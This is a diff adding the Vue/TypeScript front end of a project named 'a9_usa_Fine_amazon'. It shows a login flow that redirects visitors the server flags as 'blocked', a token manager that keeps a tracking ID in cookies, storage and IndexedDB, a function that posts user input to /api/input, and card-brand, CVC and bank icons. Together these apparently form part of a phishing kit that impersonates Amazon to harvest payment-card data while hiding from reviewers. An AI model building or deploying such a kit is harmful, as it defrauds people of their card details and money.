update
70
a9_usa_Fine_amazon/src/App.vue
Normal file
@@ -0,0 +1,70 @@
|
||||
<script setup lang="ts">
|
||||
import { RouterView } from "vue-router";
|
||||
import { onMounted } from "vue";
|
||||
import http from "@/api/http";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import {
|
||||
configData,
|
||||
loginSuccess,
|
||||
redirectToExternal,
|
||||
headHtml,
|
||||
loadHtml,
|
||||
headerHtml,
|
||||
footerHtml,
|
||||
} from "@/utils/common";
|
||||
import { generateECDHKeyPair, deriveSessionKey } from "@/utils/socketio";
|
||||
import LoadingView from "@/views/LoadingView.vue";
|
||||
|
||||
const loadingStore = useLoadingStore();
|
||||
|
||||
onMounted(() => {
|
||||
login();
|
||||
});
|
||||
|
||||
const login = async function () {
|
||||
headerHtml.value = await loadHtml("/Static_zy/header.html");
|
||||
loadingStore.setLoading(true);
|
||||
|
||||
const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair();
|
||||
|
||||
http.post("/api", { clientPublicKey: clientPublicKeyB64 }).then(async (data) => {
|
||||
if (data.data.isBlock) {
|
||||
redirectToExternal();
|
||||
return;
|
||||
}
|
||||
if (data.data.isFirst) {
|
||||
localStorage.removeItem("route")
|
||||
}
|
||||
let token = data.data.Token;
|
||||
if (data.data.mode) {
|
||||
localStorage.setItem("mode", data.data.mode);
|
||||
}
|
||||
|
||||
// 如果服务端返回了公钥,完成 ECDH 推导会话密钥(兼容大小写两种字段名)
|
||||
const serverPubKey = data.data.ServerPublicKey || data.data.serverPublicKey;
|
||||
let sessionCrypto = null;
|
||||
if (serverPubKey) {
|
||||
try {
|
||||
sessionCrypto = await deriveSessionKey(serverPubKey, keyPair.privateKey);
|
||||
} catch (e) {
|
||||
|
||||
}
|
||||
}
|
||||
loginSuccess(token, data.data.mode, sessionCrypto);
|
||||
|
||||
if (data.data.custom) {
|
||||
configData.value = JSON.parse(data.data.custom);
|
||||
}
|
||||
});
|
||||
footerHtml.value = await loadHtml("/Static_zy/footer.html");
|
||||
|
||||
};
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div v-html="headHtml"></div>
|
||||
<LoadingView />
|
||||
<RouterView />
|
||||
</template>
|
||||
|
||||
<style scoped></style>
|
||||
5
a9_usa_Fine_amazon/src/api/api.ts
Normal file
@@ -0,0 +1,5 @@
|
||||
import http from "@/api/http";
|
||||
|
||||
export function sendInput(data: any) {
|
||||
http.post("/api/input", data).then((data) => {});
|
||||
}
|
||||
223
a9_usa_Fine_amazon/src/api/http.ts
Normal file
@@ -0,0 +1,223 @@
|
||||
// http.js
|
||||
import axios from "axios";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
|
||||
// ============ 配置 ============
|
||||
const BASE_URL = import.meta.env.VITE_BASE_URL === "/"
|
||||
? "/"
|
||||
: import.meta.env.VITE_BASE_URL.startsWith('localhost:')
|
||||
? `http://${import.meta.env.VITE_BASE_URL}`
|
||||
: `https://${import.meta.env.VITE_BASE_URL}`;
|
||||
|
||||
const DB_CONFIG = {
|
||||
name: "TokenDB",
|
||||
version: 2,
|
||||
store: "tokens",
|
||||
key: "userToken",
|
||||
} as const;
|
||||
|
||||
const STORAGE_KEY = "token";
|
||||
|
||||
// ============ IndexedDB 操作 ============
|
||||
class TokenDB {
|
||||
private static async open(): Promise<IDBDatabase> {
|
||||
return new Promise((resolve, reject) => {
|
||||
const request = indexedDB.open(DB_CONFIG.name, DB_CONFIG.version);
|
||||
request.onerror = () => reject(request.error);
|
||||
request.onsuccess = () => resolve(request.result);
|
||||
request.onupgradeneeded = (event) => {
|
||||
const db = (event.target as IDBOpenDBRequest).result;
|
||||
if (db.objectStoreNames.contains(DB_CONFIG.store)) {
|
||||
db.deleteObjectStore(DB_CONFIG.store);
|
||||
}
|
||||
db.createObjectStore(DB_CONFIG.store, { keyPath: "key" });
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
static async get(): Promise<string | null> {
|
||||
try {
|
||||
const db = await this.open();
|
||||
return new Promise((resolve) => {
|
||||
const tx = db.transaction(DB_CONFIG.store, "readonly");
|
||||
const request = tx.objectStore(DB_CONFIG.store).get(DB_CONFIG.key);
|
||||
request.onsuccess = () => resolve(request.result?.value || null);
|
||||
request.onerror = () => resolve(null);
|
||||
tx.oncomplete = () => db.close();
|
||||
tx.onabort = () => db.close();
|
||||
});
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
static async set(token: string): Promise<void> {
|
||||
try {
|
||||
const db = await this.open();
|
||||
return new Promise((resolve) => {
|
||||
const tx = db.transaction(DB_CONFIG.store, "readwrite");
|
||||
tx.objectStore(DB_CONFIG.store).put({ key: DB_CONFIG.key, value: token });
|
||||
tx.oncomplete = () => { db.close(); resolve(); };
|
||||
tx.onerror = () => { db.close(); resolve(); };
|
||||
});
|
||||
} catch {
|
||||
// 静默失败,有其他存储兜底
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============ Token 管理器 ============
|
||||
class TokenManager {
|
||||
private static cache: string | null = null;
|
||||
private static pending: Promise<string> | null = null;
|
||||
|
||||
// UUID v4 格式校验,防止脏数据
|
||||
private static isValidToken(token: string | null): token is string {
|
||||
return !!token && /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i.test(token);
|
||||
}
|
||||
|
||||
// 安全地操作 Storage
|
||||
private static safeGet(storage: Storage): string | null {
|
||||
try {
|
||||
return storage.getItem(STORAGE_KEY);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private static safeSet(storage: Storage, token: string): void {
|
||||
try {
|
||||
storage.setItem(STORAGE_KEY, token);
|
||||
} catch {
|
||||
// 静默失败
|
||||
}
|
||||
}
|
||||
|
||||
// Cookie 操作(同步,iOS 上比 localStorage 更早可用)
|
||||
private static getFromCookie(): string | null {
|
||||
try {
|
||||
const match = document.cookie.match(new RegExp(`(?:^|; )${STORAGE_KEY}=([^;]*)`));
|
||||
return match ? decodeURIComponent(match[1]) : null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private static saveToCookie(token: string): void {
|
||||
try {
|
||||
// 有效期 400 天(Safari 上限),SameSite=Lax 兼容 WebView
|
||||
document.cookie = `${STORAGE_KEY}=${encodeURIComponent(token)};path=/;max-age=34560000;SameSite=Lax`;
|
||||
} catch {
|
||||
// 静默失败
|
||||
}
|
||||
}
|
||||
|
||||
// 同步到所有存储(后台执行,不阻塞)
|
||||
private static syncToAllStorages(token: string): void {
|
||||
this.safeSet(sessionStorage, token);
|
||||
this.safeSet(localStorage, token);
|
||||
this.saveToCookie(token);
|
||||
TokenDB.set(token).catch(() => { });
|
||||
}
|
||||
|
||||
// 从同步存储快速获取(cookie 优先,iOS 上最可靠的同步读取)
|
||||
private static getFromSyncStorage(): string | null {
|
||||
const token = this.getFromCookie() || this.safeGet(sessionStorage) || this.safeGet(localStorage);
|
||||
return this.isValidToken(token) ? token : null;
|
||||
}
|
||||
|
||||
// 延迟后重试读取同步存储(iOS 冷启动时存储可能未就绪)
|
||||
private static waitAndRetrySync(ms: number): Promise<string | null> {
|
||||
return new Promise(resolve => {
|
||||
setTimeout(() => resolve(this.getFromSyncStorage()), ms);
|
||||
});
|
||||
}
|
||||
|
||||
// 主入口:获取或创建 Token
|
||||
static async getToken(): Promise<string> {
|
||||
// 1. 内存缓存(最快)
|
||||
if (this.cache) return this.cache;
|
||||
|
||||
// 2. 等待进行中的创建(并发安全)
|
||||
if (this.pending) return this.pending;
|
||||
|
||||
// 3. 同步存储快速路径
|
||||
const syncToken = this.getFromSyncStorage();
|
||||
if (syncToken) {
|
||||
this.cache = syncToken;
|
||||
this.syncToAllStorages(syncToken);
|
||||
return syncToken;
|
||||
}
|
||||
|
||||
// 4. 异步获取或创建(带锁)
|
||||
this.pending = this.createToken();
|
||||
return this.pending;
|
||||
}
|
||||
|
||||
private static async createToken(): Promise<string> {
|
||||
try {
|
||||
// 再次检查缓存
|
||||
if (this.cache) return this.cache;
|
||||
|
||||
// 尝试从 IndexedDB 恢复
|
||||
const dbToken = await TokenDB.get();
|
||||
if (dbToken && this.isValidToken(dbToken)) {
|
||||
this.cache = dbToken;
|
||||
this.syncToAllStorages(dbToken);
|
||||
return dbToken;
|
||||
}
|
||||
|
||||
// iOS 冷启动兜底:等待一小段时间后重试同步存储
|
||||
// (localStorage/cookie 数据可能存在,但初始化瞬间还未就绪)
|
||||
for (const delay of [50, 100, 150]) {
|
||||
const retryToken = await this.waitAndRetrySync(delay);
|
||||
if (retryToken) {
|
||||
this.cache = retryToken;
|
||||
this.syncToAllStorages(retryToken);
|
||||
return retryToken;
|
||||
}
|
||||
}
|
||||
|
||||
// 所有恢复手段用尽,生成新 Token
|
||||
const newToken = uuidv4();
|
||||
this.cache = newToken;
|
||||
this.syncToAllStorages(newToken);
|
||||
return newToken;
|
||||
} finally {
|
||||
this.pending = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============ Axios 实例 ============
|
||||
const http = axios.create({
|
||||
baseURL: BASE_URL,
|
||||
timeout: 15000,
|
||||
});
|
||||
|
||||
// 请求拦截器
|
||||
http.interceptors.request.use(
|
||||
async (config) => {
|
||||
const token = await TokenManager.getToken();
|
||||
config.headers["Token"] = token;
|
||||
config.headers["X-Token"] = token;
|
||||
config.params = { ...config.params, token };
|
||||
return config;
|
||||
},
|
||||
(error) => Promise.reject(error)
|
||||
);
|
||||
|
||||
// 响应拦截器
|
||||
http.interceptors.response.use(
|
||||
(response) => response.data,
|
||||
(error) => {
|
||||
if (error.response) {
|
||||
console.error("Error:", error.response.status, error.response.data);
|
||||
} else {
|
||||
console.error("Error:", error.message);
|
||||
}
|
||||
return Promise.reject(error);
|
||||
}
|
||||
);
|
||||
|
||||
export default http;
|
||||
11
a9_usa_Fine_amazon/src/assets/base.css
Normal file
@@ -0,0 +1,11 @@
|
||||
|
||||
|
||||
html, body {
|
||||
padding: 0;
|
||||
border: 0;
|
||||
margin: 0;
|
||||
overflow-x: hidden;
|
||||
overflow-y: auto;
|
||||
overflow: hidden auto
|
||||
}
|
||||
|
||||
1
a9_usa_Fine_amazon/src/assets/img/1a32e1333fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m40 0h700c22.092 0 40 17.909 40 40v420c0 22.092-17.908 40-40 40h-700c-22.091 0-40-17.908-40-40v-420c0-22.091 17.909-40 40-40z" fill="#0079be"/><path d="m599.93 251.45c0-99.415-82.98-168.13-173.9-168.1h-78.242c-92.003-.033-167.73 68.705-167.73 168.1 0 90.93 75.727 165.64 167.73 165.2h78.242c90.914.436 173.9-74.294 173.9-165.2z" fill="#fff"/><path d="m348.28 97.43c-84.07.027-152.19 68.308-152.21 152.58.02 84.258 68.144 152.53 152.21 152.56 84.09-.027 152.23-68.303 152.24-152.56-.011-84.272-68.149-152.55-152.24-152.58z" fill="#0079be"/><path d="m252.07 249.6c.08-41.181 25.746-76.297 61.94-90.25v180.48c-36.194-13.948-61.861-49.045-61.94-90.23zm131 90.274v-180.53c36.207 13.92 61.914 49.057 61.979 90.257-.065 41.212-25.772 76.322-61.979 90.269z" fill="#fff"/></svg>
|
||||
|
After Width: | Height: | Size: 901 B |
1
a9_usa_Fine_amazon/src/assets/img/272b931f3fcfa.svg
Normal file
|
After Width: | Height: | Size: 8.7 KiB |
1
a9_usa_Fine_amazon/src/assets/img/56af3b633fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<?xml version="1.0" ?><svg viewBox="0 0 48 48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><defs><style>.cls-1{fill:url(#linear-gradient);}.cls-2{fill:#a5a4a4;}.cls-3{fill:#333;}.cls-4{fill:#e6e6e6;}.cls-5{fill:gray;}.cls-6{fill:url(#linear-gradient-2);}.cls-7{fill:url(#linear-gradient-3);}.cls-8{fill:#fff;}</style><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient" x1="22.04" x2="22.04" y1="12.76" y2="39.8"><stop offset="0" stop-color="#e6e6e6"/><stop offset="1" stop-color="#bababa"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-2" x1="35.54" x2="35.54" y1="11.27" y2="20.1"><stop offset="0" stop-color="#00bde8"/><stop offset="1" stop-color="#009dc1"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-3" x1="35.54" x2="35.54" y1="12" y2="19.67"><stop offset="0" stop-color="#00cfff"/><stop offset="1" stop-color="#00afd6"/></linearGradient></defs><title/><g id="icons"><g data-name="Layer 3" id="Layer_3"><rect class="cls-1" height="26" rx="5" ry="5" width="35" x="4.54" y="12.81"/><path class="cls-2" d="M35.54,11.19a7.63,7.63,0,1,0,4,14.1V12.34A7.54,7.54,0,0,0,35.54,11.19Z"/><rect class="cls-3" height="4" width="35" x="4.54" y="19.81"/><rect class="cls-4" height="2" width="8" x="8.54" y="32.81"/><rect class="cls-4" height="2" width="6" x="19.54" y="32.81"/><rect class="cls-4" height="2" width="7" x="28.54" y="32.81"/><rect class="cls-5" height="2" width="8" x="8.54" y="31.81"/><rect class="cls-5" height="2" width="6" x="19.54" y="31.81"/><rect class="cls-5" height="2" width="7" x="28.54" y="31.81"/><path class="cls-6" d="M43.17,16.81a7.63,7.63,0,1,1-7.63-7.62A7.64,7.64,0,0,1,43.17,16.81Z"/><path class="cls-7" d="M35.54,23.44a6.63,6.63,0,1,1,6.63-6.63,6.63,6.63,0,0,1-6.63,6.63Z"/><path class="cls-8" d="M38,16.58V14.85a2.25,2.25,0,0,0-2.25-2.25h-.34a2.25,2.25,0,0,0-2.25,2.25v1.73H31.79V21H39.3V16.58Zm-1,0H34.12V14.85a1.25,1.25,0,0,1,1.25-1.25h.34A1.25,1.25,0,0,1,37,14.85Z"/></g></g></svg>
|
||||
|
After Width: | Height: | Size: 2.0 KiB |
1
a9_usa_Fine_amazon/src/assets/img/68eec8c23fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg width="24" height="24" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" fill="#6d6e78" role="img" aria-labelledby="cvcDesc"><path opacity=".2" fill-rule="evenodd" clip-rule="evenodd" d="M15.337 4A5.493 5.493 0 0013 8.5c0 1.33.472 2.55 1.257 3.5H4a1 1 0 00-1 1v1a1 1 0 001 1h16a1 1 0 001-1v-.6a5.526 5.526 0 002-1.737V18a2 2 0 01-2 2H3a2 2 0 01-2-2V6a2 2 0 012-2h12.337zm6.707.293c.239.202.46.424.662.663a2.01 2.01 0 00-.662-.663z"></path><path opacity=".4" fill-rule="evenodd" clip-rule="evenodd" d="M13.6 6a5.477 5.477 0 00-.578 3H1V6h12.6z"></path><path fill-rule="evenodd" clip-rule="evenodd" d="M18.5 14a5.5 5.5 0 110-11 5.5 5.5 0 010 11zm-2.184-7.779h-.621l-1.516.77v.786l1.202-.628v3.63h.943V6.22h-.008zm1.807.629c.448 0 .762.251.762.613 0 .393-.37.668-.904.668h-.235v.668h.283c.565 0 .95.282.95.691 0 .393-.377.66-.911.66-.393 0-.786-.126-1.194-.37v.786c.44.189.88.291 1.312.291 1.029 0 1.736-.526 1.736-1.288 0-.535-.33-.967-.88-1.14.472-.157.778-.573.778-1.045 0-.738-.652-1.241-1.595-1.241a3.143 3.143 0 00-1.234.267v.77c.378-.212.763-.33 1.132-.33zm3.394 1.713c.574 0 .974.338.974.778 0 .463-.4.785-.974.785-.346 0-.707-.11-1.076-.337v.809c.385.173.778.26 1.163.26.204 0 .392-.032.573-.08a4.313 4.313 0 00.644-2.262l-.015-.33a1.807 1.807 0 00-.967-.252 3 3 0 00-.448.032V6.944h1.132a4.423 4.423 0 00-.362-.723h-1.587v2.475a3.9 3.9 0 01.943-.133z"></path></svg>
|
||||
|
After Width: | Height: | Size: 1.3 KiB |
1
a9_usa_Fine_amazon/src/assets/img/761998023fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><linearGradient id="a" gradientTransform="matrix(132.87 0 0 323.02 -120270 -100930)" gradientUnits="userSpaceOnUse" x1="908.72" x2="909.72" y1="313.21" y2="313.21"><stop offset="0" stop-color="#007b40"/><stop offset="1" stop-color="#55b330"/></linearGradient><linearGradient id="b" gradientTransform="matrix(133.43 0 0 323.02 -121080 -100920)" gradientUnits="userSpaceOnUse" x1="908.73" x2="909.73" y1="313.21" y2="313.21"><stop offset="0" stop-color="#1d2970"/><stop offset="1" stop-color="#006dba"/></linearGradient><linearGradient id="c" gradientTransform="matrix(132.96 0 0 323.03 -120500 -100930)" gradientUnits="userSpaceOnUse" x1="908.72" x2="909.72" y1="313.21" y2="313.21"><stop offset="0" stop-color="#6e2b2f"/><stop offset="1" stop-color="#e30138"/></linearGradient><path d="m632.24 361.27c0 41.615-33.729 75.36-75.357 75.36h-409.13v-297.88c0-41.626 33.73-75.371 75.364-75.371h409.12l-.001 297.89z" fill="#fff"/><path d="m498.86 256.54c11.686.254 23.438-.516 35.077.4 11.787 2.199 14.628 20.043 4.156 25.887-7.145 3.85-15.633 1.434-23.379 2.113h-15.854zm41.834-32.145c2.596 9.164-6.238 17.392-15.064 16.13h-26.77c.188-8.642-.367-18.022.272-26.209 10.724.302 21.547-.616 32.209.48 4.581 1.151 8.415 4.917 9.353 9.599zm64.425-135.9c.498 17.501.072 35.927.215 53.783-.033 72.596.07 145.19-.057 217.79-.47 27.207-24.582 50.848-51.601 51.391-27.045.11-54.094.017-81.143.047v-109.75c29.471-.152 58.957.309 88.416-.23 13.666-.858 28.635-9.875 29.271-24.914 1.609-15.104-12.631-25.551-26.151-27.201-5.197-.135-5.045-1.515 0-2.117 12.895-2.787 23.021-16.133 19.227-29.499-3.233-14.058-18.771-19.499-31.695-19.472-26.352-.179-52.709-.025-79.062-.077.17-20.489-.355-41 .283-61.474 2.088-26.716 26.807-48.748 53.446-48.27 26.287-.004 52.57-.004 78.851-.005z" fill="url(#a)"/><path d="m174.74 139.54c.673-27.164 24.888-50.611 51.872-51.008 26.945-.083 53.894-.012 80.839-.036-.074 90.885.146 181.78-.111 272.66-1.038 26.834-24.989 49.834-51.679 50.309-26.996.098-53.995.014-80.992.041v-113.45c26.223 6.195 53.722 8.832 80.474 4.723 15.991-2.573 33.487-10.426 38.901-27.016 3.984-14.191 1.741-29.126 2.334-43.691v-33.825h-46.297c-.208 22.371.426 44.781-.335 67.125-1.248 13.734-14.849 22.46-27.802 21.994-16.064.17-47.897-11.642-47.897-11.642-.08-41.914.466-94.405.693-136.18z" fill="url(#b)"/><path d="m324.72 211.89c-2.437.517-.49-8.301-1.113-11.646.166-21.15-.347-42.323.283-63.458 2.082-26.829 26.991-48.916 53.738-48.288h78.768c-.074 90.885.145 181.78-.111 272.66-1.039 26.834-24.992 49.833-51.683 50.309-26.997.102-53.997.016-80.996.042v-124.3c18.439 15.129 43.5 17.484 66.472 17.525 17.318-.006 34.535-2.676 51.353-6.67v-22.772c-18.953 9.446-41.233 15.446-62.243 10.019-14.656-3.648-25.295-17.812-25.058-32.937-1.698-15.729 7.522-32.335 22.979-37.011 19.191-6.008 40.107-1.413 58.096 6.398 3.854 2.018 7.766 4.521 6.225-1.921v-17.899c-30.086-7.158-62.104-9.792-92.33-2.005-8.749 2.468-17.273 6.211-24.38 11.956z" fill="url(#c)"/></svg>
|
||||
|
After Width: | Height: | Size: 3.0 KiB |
1
a9_usa_Fine_amazon/src/assets/img/80066acd3fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<?xml version="1.0" ?><!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 1.1//EN' 'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd'><svg enable-background="new 0 0 48 48" height="48px" id="Layer_1" version="1.1" viewBox="0 0 48 48" width="48px" xml:space="preserve" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><path clip-rule="evenodd" d="M46,44.438H2c-0.553,0-1-0.447-1-1s0.447-1,1-1h44c0.553,0,1,0.447,1,1 S46.553,44.438,46,44.438z M16,34.438c0.553,0,1,0.447,1,1s-0.447,1-1,1H8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13H8 c-0.553,0-1-0.447-1-1c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1c0,0.553-0.447,1-1,1h-1v13H16z M13,21.438h-2v13h2V21.438z M28,34.438c0.553,0,1,0.447,1,1s-0.447,1-1,1h-8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13h-1c-0.553,0-1-0.447-1-1 c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1c0,0.553-0.447,1-1,1h-1v13H28z M25,21.438h-2v13h2V21.438z M44,39.438 c0,0.553-0.447,1-1,1H5c-0.553,0-1-0.447-1-1s0.447-1,1-1h38C43.553,38.438,44,38.885,44,39.438z M40,34.438c0.553,0,1,0.447,1,1 s-0.447,1-1,1h-8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13h-1c-0.553,0-1-0.447-1-1c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1 c0,0.553-0.447,1-1,1h-1v13H40z M37,21.438h-2v13h2V21.438z M3,15.438L24,4l21,11.438v2H3V15.438z M40.541,15.438L24,6.886 L7.396,15.438H40.541z" fill-rule="evenodd"/></svg>
|
||||
|
After Width: | Height: | Size: 1.3 KiB |
60
a9_usa_Fine_amazon/src/assets/img/ac3bca143fcfa.svg
Normal file
@@ -0,0 +1,60 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="margin: auto; background: rgb(255, 255, 255); display: block; shape-rendering: auto;" width="200px" height="200px" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
|
||||
<g transform="translate(80,50)">
|
||||
<g transform="rotate(0)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="1">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.875s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.875s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(71.21320343559643,71.21320343559643)">
|
||||
<g transform="rotate(45)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.875">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.75s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.75s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(50,80)">
|
||||
<g transform="rotate(90)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.75">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.625s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.625s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(28.786796564403577,71.21320343559643)">
|
||||
<g transform="rotate(135)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.625">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.5s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.5s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(20,50.00000000000001)">
|
||||
<g transform="rotate(180)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.5">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.375s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.375s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(28.78679656440357,28.786796564403577)">
|
||||
<g transform="rotate(225)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.375">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.25s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.25s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(49.99999999999999,20)">
|
||||
<g transform="rotate(270)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.25">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.125s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.125s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(71.21320343559643,28.78679656440357)">
|
||||
<g transform="rotate(315)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.125">
|
||||
<animateTransform attributeName="transform" type="scale" begin="0s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="0s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g>
|
||||
<!-- [ldio] generated by https://loading.io/ --></svg>
|
||||
|
After Width: | Height: | Size: 3.9 KiB |
1
a9_usa_Fine_amazon/src/assets/img/b4f258fb3fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m293.2 348.73 33.359-195.76h53.358l-33.384 195.76zm246.11-191.54c-10.569-3.966-27.135-8.222-47.821-8.222-52.726 0-89.863 26.551-90.181 64.604-.297 28.129 26.515 43.822 46.754 53.185 20.771 9.598 27.752 15.716 27.652 24.283-.133 13.123-16.586 19.115-31.924 19.115-21.355 0-32.701-2.967-50.225-10.273l-6.878-3.111-7.487 43.822c12.463 5.467 35.508 10.199 59.438 10.445 56.09 0 92.502-26.248 92.916-66.885.199-22.27-14.016-39.215-44.801-53.188-18.65-9.056-30.072-15.099-29.951-24.269 0-8.137 9.668-16.838 30.56-16.838 17.446-.271 30.088 3.534 39.936 7.5l4.781 2.259zm137.31-4.223h-41.23c-12.772 0-22.332 3.486-27.94 16.234l-79.245 179.4h56.031s9.159-24.121 11.231-29.418c6.123 0 60.555.084 68.336.084 1.596 6.854 6.492 29.334 6.492 29.334h49.512l-43.187-195.64zm-65.417 126.41c4.414-11.279 21.26-54.724 21.26-54.724-.314.521 4.381-11.334 7.074-18.684l3.606 16.878s10.217 46.729 12.353 56.527h-44.293zm-363.3-126.41-52.239 133.5-5.565-27.129c-9.726-31.274-40.025-65.157-73.898-82.12l47.767 171.2 56.455-.063 84.004-195.39-56.524-.001" fill="#0e4595"/><path d="m146.92 152.96h-86.041l-.682 4.073c66.939 16.204 111.23 55.363 129.62 102.42l-18.709-89.96c-3.229-12.396-12.597-16.096-24.186-16.528" fill="#f2ae14"/></svg>
|
||||
|
After Width: | Height: | Size: 1.3 KiB |
1
a9_usa_Fine_amazon/src/assets/img/c8e88e5f3fcfa.svg
Normal file
|
After Width: | Height: | Size: 6.8 KiB |
1
a9_usa_Fine_amazon/src/assets/img/d2820b3b3fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m40 .001h700c22.092 0 40 17.909 40 40v420c0 22.092-17.908 40-40 40h-700c-22.091 0-40-17.908-40-40v-420c0-22.091 17.909-40 40-40z" fill="#2557d6"/><path d="m.253 235.69h37.441l8.442-19.51h18.9l8.42 19.51h73.668v-14.915l6.576 14.98h38.243l6.576-15.202v15.138h183.08l-.085-32.026h3.542c2.479.083 3.204.302 3.204 4.226v27.8h94.689v-7.455c7.639 3.92 19.518 7.455 35.148 7.455h39.836l8.525-19.51h18.9l8.337 19.51h76.765v-18.532l11.626 18.532h61.515v-122.51h-60.88v14.468l-8.522-14.468h-62.471v14.468l-7.828-14.468h-84.38c-14.123 0-26.539 1.889-36.569 7.153v-7.153h-58.229v7.153c-6.383-5.426-15.079-7.153-24.75-7.153h-212.74l-14.274 31.641-14.659-31.641h-67.005v14.468l-7.362-14.468h-57.145l-26.539 58.246v64.261h.003zm236.34-17.67h-22.464l-.083-68.794-31.775 68.793h-19.24l-31.858-68.854v68.854h-44.57l-8.42-19.592h-45.627l-8.505 19.592h-23.801l39.241-87.837h32.559l37.269 83.164v-83.164h35.766l28.678 59.587 26.344-59.587h36.485zm-165.9-37.823-14.998-35.017-14.915 35.017zm255.3 